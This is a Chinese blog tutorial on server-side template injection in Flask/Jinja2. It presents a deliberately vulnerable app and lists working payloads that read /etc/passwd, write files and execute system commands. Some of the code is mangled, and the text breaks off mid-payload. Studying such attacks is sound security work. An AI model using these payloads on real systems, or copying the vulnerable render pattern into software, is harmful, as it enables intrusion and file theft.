python 模板注入_SSTI模板注入

前言又划水了一天,最后划累了学习了一会,写了这篇文章,又遇到的hexo遇见花括号解析错误的问题,一点点把文章断点才解决(hexo断点调试SSTI介绍SSTI,服务端模板注入攻击,发生在MVA框架的view层中。注入原因:服务端接收了用户的输入,将未过滤的数据传给引擎解析,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题测试SSTI...
摘要由CSDN通过智能技术生成

前言

又划水了一天,最后划累了学习了一会,写了这篇文章,又遇到的hexo遇见花括号解析错误的问题,一点点把文章断点才解决(hexo断点调试

SSTI介绍

SSTI,服务端模板注入攻击,发生在MVA框架的view层中。

注入原因:

服务端接收了用户的输入,将未过滤的数据传给引擎解析,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题

测试SSTI的流程方式如下图:

SSTI for Flask

Flask的模板引擎为Jinja2,而主要出现问题的函数为render_template_string(),并没有渲染模板文件,直接把字符串渲染到了html,如果不经过过滤则很容易造成恶意代码注入问题。

实战过程

代码搭建1

2

3

4

5

6

7

8from flask import Flask, render_template_string, request

app = Flask(__name__)

def ():

name = request.args.get('name')

template = '

hello {}!

'.format(name)

return render_template_string(template)

app.run()

注入检测

通过payload:1+1的返回为2可以得知存在注入。

导出config变量和session

可以通过config和session进行导出

读/写文件

读文件

通过payload

1

2().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

以上两种payload都可以进行文件读取

写文件

同样也是两种payload,这里只列举一种了(其实可以通过Fuzz获得多种

1{ { ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('test') }}

命令执行1

2

3

4

5

6

7

8

9().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls')

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')

# 重新载入__builtins__:

().__class__.__bases_

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值